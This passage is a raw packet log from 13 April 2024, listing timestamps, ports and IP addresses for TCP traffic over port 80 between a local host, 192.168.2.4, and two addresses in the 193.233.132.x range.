Apr 13, 2024 20:21:06.544382095 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544397116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544409037 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544415951 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544429064 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544435024 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544447899 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544456005 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544466972 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544476986 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544492960 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544496059 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544512033 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544514894 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544533014 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544538975 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544538975 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544552088 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544558048 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544574022 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544586897 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544595957 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544605970 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544625998 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544631004 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544651985 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544670105 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544675112 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544675112 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544689894 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544696093 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544708967 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544713974 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544729948 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544734001 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544748068 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544749975 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544768095 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544774055 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544792891 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544809103 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.544945955 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544964075 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544981003 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.544992924 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545000076 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545011044 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545018911 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545027971 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545042992 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545062065 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545064926 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545064926 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545080900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545087099 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545128107 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545128107 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545162916 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545181990 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545198917 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545217991 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545219898 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545219898 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545237064 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545239925 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545255899 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545258045 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545284986 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545305014 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545324087 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545347929 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545363903 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545377016 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545382977 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545403004 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545404911 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545404911 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545422077 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545423985 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545439959 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545440912 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545459986 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545469999 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545479059 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545490980 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545500040 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545511007 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545519114 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545536995 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545536995 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545536995 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545556068 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545555115 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545572996 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545574903 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545593977 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545604944 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545612097 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545629978 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545630932 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545629978 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545650959 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545650959 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545670033 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545676947 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545689106 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545696020 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545706987 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545711994 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545727968 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545732975 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545749903 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545773983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545794964 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545814037 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545830965 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545841932 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545850039 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545867920 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545867920 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545867920 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545912981 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545912981 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.545963049 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.545983076 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.546000004 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.546010971 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.546020985 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.546031952 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.546039104 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.546051025 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.546058893 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.546067953 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.546077013 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.546096087 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.546114922 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.546133041 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.614453077 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.614485025 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.614504099 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.614521980 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.614541054 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.614538908 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:06.614558935 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.614571095 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:06.614571095 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:06.614578962 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.614583969 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:06.614597082 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.614598989 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:06.614612103 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:06.614615917 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.614635944 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.614636898 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:06.614650965 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:06.614656925 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:06.614681959 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:06.614692926 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:06.888040066 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888103962 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888197899 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888261080 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888261080 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888261080 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888269901 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888314009 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888314962 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888358116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888381004 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888420105 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888422012 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888458014 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888461113 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888478994 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888501883 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888509989 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888541937 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888572931 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888585091 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888592958 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888629913 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888649940 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888668060 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888686895 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888720036 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888731003 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888771057 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888787031 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888808966 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888830900 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888851881 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888859034 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888890982 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888914108 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888927937 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888940096 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.888966084 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.888988972 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889004946 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889017105 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889045000 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889060974 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889086008 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889121056 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889123917 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889144897 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889163017 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889178038 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889200926 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889213085 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889240026 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889259100 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889278889 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889292002 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889317989 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889339924 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889354944 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889359951 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889394999 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889415026 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889434099 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889451027 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889472961 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889487982 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889513016 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889527082 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889552116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889569044 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889590025 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889605999 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889628887 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889645100 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889667034 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889691114 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889708042 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889717102 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889748096 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889765024 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889786959 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889806032 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889823914 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889827967 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889863014 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889894962 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889902115 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889914989 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889940023 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889956951 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.889976978 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.889998913 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890017986 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890053988 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890058041 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890079021 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890094042 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890113115 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890131950 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890147924 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890170097 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890189886 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890207052 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890228033 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890245914 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890264034 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890284061 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890299082 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890324116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890333891 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890366077 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890379906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890404940 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890424013 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890441895 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890460968 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890480995 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890500069 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890520096 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890541077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890558958 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890573978 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890598059 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890614033 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890650988 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890652895 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890696049 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890707016 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890734911 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890753984 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890773058 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890805960 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890810966 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890827894 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890851021 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890855074 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890888929 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890899897 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890928030 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890937090 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.890968084 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.890985012 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891005993 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891020060 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891045094 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891064882 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891102076 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891110897 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891132116 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891139030 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891153097 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891176939 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891199112 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891213894 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891226053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891256094 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891272068 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891293049 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891309023 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891330957 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891349077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891369104 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891396999 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891407013 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891418934 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891448021 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891464949 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891488075 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891503096 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891527891 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891541958 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891566992 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891588926 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:06.891604900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:06.891616106 CEST	49738	80	192.168.2.4	193.233.132.56
